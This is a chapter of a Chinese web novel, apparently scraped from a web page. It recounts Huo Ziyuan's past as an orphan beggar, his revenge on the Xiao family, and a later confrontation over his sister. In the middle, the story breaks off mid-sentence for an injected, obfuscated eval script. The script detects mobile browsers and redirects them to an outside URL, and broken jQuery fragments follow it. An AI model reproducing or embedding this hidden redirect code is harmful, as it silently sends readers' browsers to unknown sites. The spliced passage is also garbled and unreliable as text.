61. 第 61 章

作品:《寒鸦争渡

    霍子渊是被霍家收养后,改的名姓。在这之前,他叫谢怀星,更早之前,他没有名姓,不知来历,但他记得他是有母亲的。


    他的母亲生病了,最初只是普通的风寒,渐渐的就开始咳了起来,后来便发烧了,最后起不来,他太小,好不容易走到那高高的药铺前,可是他没钱,大家像赶苍蝇一般,只让他快走,他的母亲就这样病死了。


    母亲死后,他就一直流浪。他的年纪太小,想要在金水城里有片瓦遮头,就要听那些年长的混混的话。他是最小的一个,是第十三个加入的,所以就叫十三。


    他们自成团伙,在金水城里偷鸡摸狗,收留他当然不可能让他白吃饭。他记得很小的时候,身上脸上通常是青一块紫一块的,因为这样能快速获取大家的同情心,从而获得更多的食物,偶尔还有几个铜板。


    再大些,他就负责掩护,让年长的能快速得手。可是夜路走多了,总会遇见鬼的。


    那日是在赌坊,他们一共三人。他极有眼色的挑了一个衣衫最华贵,神态举止最佳的。这意味着此人赢钱了,心情好时会赏他们一子半子。但他在前头乞讨,身后负责行窃的人却失手了。


    这些混混竟敢在他的赌坊行窃,这要是传出去,他的生意还做不做了。赌坊老板怒不可遏,十一和十二被人死死按在地上,要剁掉他们一只手,让他们长长记性。


    霍子渊眼看情况不对,正想溜之大吉,谁知道那两人见不得他好,竟把他也供了出来。


    他眼看逃跑不成,干脆另辟蹊径,他对赌坊老板说道:“我年纪小,没有他们也活不了,你们要剁就剁我的吧,能不能放了他们?”


    谢淮安赢了钱,心情很是不错,他一听这话就笑了,也不计较那些人的偷盗之举:“你这小乞丐倒有意思,不如你跟我走,我赏你口饭吃?”


    谢淮安是常客,也算有些交情,他好意提了句:“这些人是惯犯,这乞儿这么小,就能与他们打成一片,哪里会是简单的人。”


    一道的好友也劝他:“这么大了,怕是养不熟?”


    谢淮安倒是不在意这些。“要是这小乞儿说的是真的,那就是有情有义之辈,要是假的也无妨,至少脑子灵活,我喜欢。”他的妻子久治不孕,他听方士提及,说是可以收养一个引路的孩子,说不定家中就有好消息了。今日正好遇上合眼缘的。


    乞儿十三在谢家,用了两年时间变成了谢怀星。


    谢怀星永远记得母亲死时的模样。如果当时她能及时得到救治,说不定就不会死了。所以当谢淮安问他以后想成为什么样的人时,他几乎没考虑,他说要成为一个大夫,以后学有所成,就免费替人看病。


    谢淮安笑而不语,免费肯定是不成的,但现在说这些为时过早。他原本是打算送谢怀星去学堂念书,再考个举人啥的,也不枉费他一番心思。学医他真没办法了,他是个半吊子,早就荒废了。


    寒鸦林倒是近在眼前,每年都收弟子,但那处的学费高昂,不是他所负担的起的。无奈之下,他把年仅八岁的他,送去了位于鹿邑县的一位好友家中,好友不收钱……还管饭!


    谢怀星的命运从此改写,他不用再讨好任何人。养父养母虽然有些不靠谱,但为人和善,过了最初那两年之后,他对自己毫不设防。银钱这些自不用多说,连家中的那些辛秘,都一股脑的告诉了他。


    谢淮安,是真把他当成了儿子。


    他也念其恩情,每年都要回去一趟看望养父母,在他十二岁那年,他有了个妹妹。


    他叫谢怀星,她叫谢枕月。瞧,他们的名字都息息相关,他又多了一个亲人。


    不止如此,谢家一夕暴富。谢怀星看着奴仆成群,迎来送往的谢淮安,忍不住出言相劝。


    但当一个人长期被轻视不理解,一朝得志,他就会生出天上地下,舍我其谁的错觉。他的先辈坐拥金山却无力回天,只能看着谢氏一天天败落,他就不一样了,他偏要扭转乾坤!


    那些东西被他稍加改良就能日进斗金,谢淮安本就自负不凡,此时哪里听得进这些童言稚语。


    “怀星志向远大,有兼济天下之心,为父岂能不成全。”谢淮安豪气万千地承诺:“用不了几年,等你学有所成,咱们钱也赚够了,到时你来这城里开个铺子,你想不收钱就不收钱吧!”


    养父豪言壮语犹在耳,谁知道一夕之间,就只剩下了一片废墟。他结识了被各方赶尽杀绝的血衣楼余孽,就如同走投无路的他。


    在姓萧的来到这片土地之前,血衣楼才是此间的主人。百余年的时间,他们从如日中天,到如今的寥寥几人。他们早就撑不住了,仅存的几人孤注一掷,趁萧承带着那个体弱多病的幼子萧淮,外出求医寻访机缘时,掳走了萧淮。十一岁本该是半大的男子汉了,他却脸色青白,瘦弱的像个猫仔。


    他们的亲人,全死在了这片土地里。萧淮本是要被他们千刀万剐的,谢怀星拦住了他们。


    “杀了他无济于事,我有一计,定叫他们血债血偿!”


    他下手打断自己的腿,重操旧业扮起了乞儿,在寒潭中背起奄奄一息的萧淮,摇身一变成了他的救命恩人。


    萧承果然中计,救出儿子后,对他礼遇备至。但是因为他的腿伤不便同行寻药,他被暂时留在了谯县一位好友家中养伤。


    萧承准备回程时再带上他回金水城。谢怀星却从没想过跟他回去。之前他每年都要回金水城看望养父母,极容易被人认出来,断腿就是为了留下。


    他自小漂泊,察言观色是一绝,霍家两老被他哄得心花怒放,萧承还没回来,他们已经替他改名换姓,决定收养他了。


    于是,他又成了霍子渊。


    这期间他一直与萧淮有书信往来,萧承四处搜寻各式药方,每年会派人送药到谯县替他治疗腿疾。在二十岁那年,霍子渊到了金水城,见到了萧淮。不知萧承从哪里寻得了治疗之法,那个病恹恹的萧淮已经跟他一般高了。


    跟萧淮站在一起的,名唤萧恒,萧淮叫他四哥。


    “既是五弟的恩人,便也是我的恩人,”萧恒当即对他俯身大拜。


    霍子渊一见他就笑。来的正好,多一个赚一个!


    两人多年通信,虽没见面,彼此心性通过文字神交已久。加之霍子渊又是他的救命恩人,萧淮将多年收藏的奇珍药材,不要钱似的给他试了个遍,务必要治好他的腿疾。


    萧恒话不多,行动上却是半点不含糊。


    当初设计取信萧承,他自断左腿,下手极重,之后又泡在寒潭中,不仅留下寒症,更导致左腿微跛。


    萧淮见了他的模样,提议断骨重续。此法霍子渊不是没想过,只是跟他的仇比起来,身体上这点缺陷,太微不足道了。如今萧淮既主动提及,霍子渊假作为难:“此法费时费力,岂不是要叨扰许久?”


    他到底还是在萧淮与萧恒的极力挽留下留了下来。治疗中,他暗使手段让伤口恶化流脓,为的就是能多留些时日,他想找机会接近萧嵘,更想见见许久不曾谋面的妹妹,不知如今是何模样了?


    他的伤口接连恶化,萧淮年纪尚浅,心性单纯,对这如附骨之疽的伤,百思不得其解,又束手无策。


    整整两个月,谨慎起见,霍子渊没有打听谢枕月的消息,她也没有到这个地方来。就在他准备收手,让腿伤愈合时,万万没想到,萧恒竟俯身以口为他吸出脓血。


    霍子渊惊讶于这金尊玉贵的王府公子举措,下手却没有半分含糊。


    他暗自在自己腿上下毒,又让由血衣楼的人假扮的随从,在门外伺机而动。


    萧淮飞奔而来时,萧恒已经口吐鲜血,仅存一息。


    萧恒的目光艰难地朝床上一动不动的人望去,他知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117518|184689||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霍子渊定然醒着。最后只用尽全身力气拽住了悲痛欲绝,厉声追问凶手的萧淮。他知道是谁下的手,也知道是何原因。


    多年前,机缘巧合之下,他见过十几岁的谢怀星。谢怀星的模样虽有变化,但他仍是一眼认了出来。


    如今他来报仇,萧恒的眼里满是解脱的释然:“不要去找寻凶手,取我性命的不是人,而是天道轮回,是报应不爽,是填不满的欲望,是天理昭昭的因果,如果这些纠缠,能停在我这里就好了……”


    橘分南北,人也分善恶。


    他一直坚持的复仇执念,因为萧恒迅速分崩离析。在门外那人动手时,他突然改了主意,拖着伤腿,从床上一跃而起扑向了萧淮。尽管如此,那暗器仍在他颈部,留下了一道不可磨灭的疤痕,差一点就要了萧淮的命。


    萧凌风目眦欲裂,伸手一把拽住他的襟口:“是你杀了四叔!”


    想到那个明知他是凶手,还为他掩饰罪行的萧恒,霍子渊喉间重重滚了两下。


    “萧恒确实是我杀的!”他迎上萧凌风愤怒的视线,“我杀了萧恒你喊打喊杀,萧嵘害了我养父一家,连三岁幼童都不愿意放过,又当如何?”


    “难道只有你们姓萧的生来是人,可以随意取人性命,别人就只能坐以待毙,引颈就戮?”


    萧凌风攥着他衣襟的手背青筋暴起,却哑口无言。


    霍子渊抬眸,朝一旁的谢枕月望去。她安静地站在那里,仿佛事不关己般,就那样站着。与从前真是大不相同了。之前无论他如何劝说,她都执意留下报仇。现在事情终于有了转机,她愿意放下仇恨,同意随他离开这里了。这怎么不让他欣喜若狂?


    如今最要紧的事,就是保全她。


    霍子渊收回视线,声音沉了下去,似乎带着无限悔意:“冤有头债有主,萧嵘的过错,不该让萧家的其他人来赎罪。萧恒死后我就知道,我原先一杆子打翻一船人,错得有多离谱。以望舒的谨慎,他未必没有怀疑我,但他……还是选择了相信。”


    这话不是假的。他此生最悔,就是杀了萧恒。萧恒是萧家人,也是他的朋友。随着年岁的增长,这些年迟来的钝痛,几乎将他凌迟。可惜这世上没有后悔药。


    “事到如今,我只想带着妹妹离开这个吃人的地方,让她像个正常人一样活下去,好好活下去。”


    霍子渊的声音带着孤注一掷地恳求:“我知道……你与他们不一样,你会帮我们的,是吗?”


    萧凌风的手指,缓缓松开。


    霍子渊却上前一步,倏然逼近,鼻尖几乎碰到萧凌风的鼻尖,只用两人才能听见的声音,低声道:“我报仇心切,杀害了许多无辜的人,等我把妹妹送到安全的地方,这条命,你随时都可以来取走。”


    萧凌风的神情一变再变,从震惊到凶狠,再到如今死寂般的平静。尽管他的心里有多么不愿意承认,萧家人的死,错的不仅仅是凶手。


    霍子渊的话是真也好,还是假也罢。他看了一眼常年脸色苍白,每回癸水来时总是痛得死去活来的她,心尖密密麻麻,是一阵尖锐的巨痛。萧家对她的所作所为,罄竹难书。


    霍子渊有一件事没说错,现在最重要的事,就是先送她平安离开这里。


    萧凌风的手缓缓探入怀中,指尖探到那枚冰冷坚硬之物。那是他从五叔那里偷来的出关令牌。


    他脑中蓦地浮现半年前,差点与枕月一同离开的那次。如今想来,他恨不得给自己两巴掌。枉他自诩有多喜欢她,有多爱她。她日日担惊受怕,日日煎熬,他却半分不曾察觉,反倒与她赌气,与太子吃醋。


    这个外边光鲜亮丽,内里却腐烂恶臭的王府,他是一刻也呆不下去了!


    萧凌风把令牌递了出去,对霍子渊道:“你既以保全妹妹为多年目标,想必沿途早有布置,有了此物,应当能确保万无一失?”